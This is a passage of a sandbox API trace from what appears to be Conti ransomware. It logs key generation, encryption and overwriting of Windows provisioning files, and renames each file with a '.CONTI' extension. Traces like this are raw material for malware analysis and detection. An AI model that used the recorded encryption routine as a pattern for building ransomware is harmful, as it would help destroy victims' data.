	[0112.248] GetLastError () returned 0x0
	[0112.248] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=455) returned 1
	[0112.248] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c7
	[0112.248] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.248] SetEndOfFile (hFile=0x408) returned 1
	[0112.826] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.826] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.826] WriteFile (in: hFile=0x408, lpBuffer=0x1813c1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x1813c1c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0112.829] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.829] ReadFile (in: hFile=0x408, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1c7, lpOverlapped=0x0) returned 1
	[0112.829] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1c7, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1d0) returned 1
	[0112.829] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.830] WriteFile (in: hFile=0x408, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.830] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.830] WriteFile (in: hFile=0x408, lpBuffer=0x1813c10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1813c10*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0112.830] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.830] CloseHandle (hObject=0x408) returned 1
	[0112.830] GetProcessHeap () returned 0x1720000
	[0112.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.346] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml"
	[0113.346] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml.CONTI"
	[0113.346] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\510__Cellular_PerSimSettings_$(__ICCID)_NetworkBlockList.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\510__cellular_persimsettings_$(__iccid)_networkblocklist.provxml.conti")) returned 1
	[0113.347] GetProcessHeap () returned 0x1720000
	[0113.347] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.347] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0113.347] GetProcessHeap () returned 0x1720000
	[0113.347] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180aa90 | out: hHeap=0x1720000) returned 1
	[0113.347] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.347] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65bec10 | out: phKey=0x65bec10*=0x17c83b0) returned 1
	[0113.347] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bec14, pdwDataLen=0x587f8ac | out: pbData=0x65bec14*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.347] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.348] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.348] GetLastError () returned 0x0
	[0113.348] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=717) returned 1
	[0113.348] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0113.349] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.349] SetEndOfFile (hFile=0x384) returned 1
	[0113.349] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.349] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.349] WriteFile (in: hFile=0x384, lpBuffer=0x65bec14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65bec14*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.353] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.354] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2cd, lpOverlapped=0x0) returned 1
	[0113.354] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2cd, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0113.354] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.354] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.354] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.354] WriteFile (in: hFile=0x384, lpBuffer=0x65bec08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65bec08*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.354] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.354] CloseHandle (hObject=0x384) returned 1
	[0113.354] GetProcessHeap () returned 0x1720000
	[0113.354] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.354] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.354] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.354] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\595__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\595__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.394] GetProcessHeap () returned 0x1720000
	[0113.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.394] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.394] GetProcessHeap () returned 0x1720000
	[0113.394] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb2e8 | out: hHeap=0x1720000) returned 1
	[0113.394] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.394] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65bfc08 | out: phKey=0x65bfc08*=0x17c82b0) returned 1
	[0113.394] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bfc0c, pdwDataLen=0x587f8ac | out: pbData=0x65bfc0c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.395] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0113.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.396] GetLastError () returned 0x0
	[0113.396] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=707) returned 1
	[0113.396] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c3
	[0113.396] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.396] SetEndOfFile (hFile=0x384) returned 1
	[0113.396] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.396] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.396] WriteFile (in: hFile=0x384, lpBuffer=0x65bfc0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65bfc0c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.398] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.398] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2c3, lpOverlapped=0x0) returned 1
	[0113.398] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2c3, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0113.398] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.398] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.398] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.398] WriteFile (in: hFile=0x384, lpBuffer=0x65bfc00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65bfc00*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.398] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.398] CloseHandle (hObject=0x384) returned 1
	[0113.398] GetProcessHeap () returned 0x1720000
	[0113.398] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.398] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml"
	[0113.398] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI"
	[0113.399] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\602__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\602__connections_cellular_sfr (france)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0113.399] GetProcessHeap () returned 0x1720000
	[0113.399] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.399] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0113.399] GetProcessHeap () returned 0x1720000
	[0113.399] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bba98 | out: hHeap=0x1720000) returned 1
	[0113.399] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0113.399] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65bd788 | out: phKey=0x65bd788*=0x17c82b0) returned 1
	[0113.399] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bd78c, pdwDataLen=0x587f8ac | out: pbData=0x65bd78c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0113.400] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0113.400] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\603__connections_cellular_sfr (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0113.401] GetLastError () returned 0x0
	[0113.401] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=719) returned 1
	[0113.401] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0113.401] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.401] SetEndOfFile (hFile=0x384) returned 1
	[0113.401] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.401] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.401] WriteFile (in: hFile=0x384, lpBuffer=0x65bd78c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65bd78c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0113.403] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.403] ReadFile (in: hFile=0x384, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x2cf, lpOverlapped=0x0) returned 1
	[0113.403] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2cf, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x2d0) returned 1
	[0113.403] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.403] WriteFile (in: hFile=0x384, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.403] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.403] WriteFile (in: hFile=0x384, lpBuffer=0x65bd780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65bd780*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0113.403] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.403] CloseHandle (hObject=0x384) returned 1
	[0113.403] GetProcessHeap () returned 0x1720000
	[0113.403] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.403] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml"
	[0113.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\603__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml.CONTI"
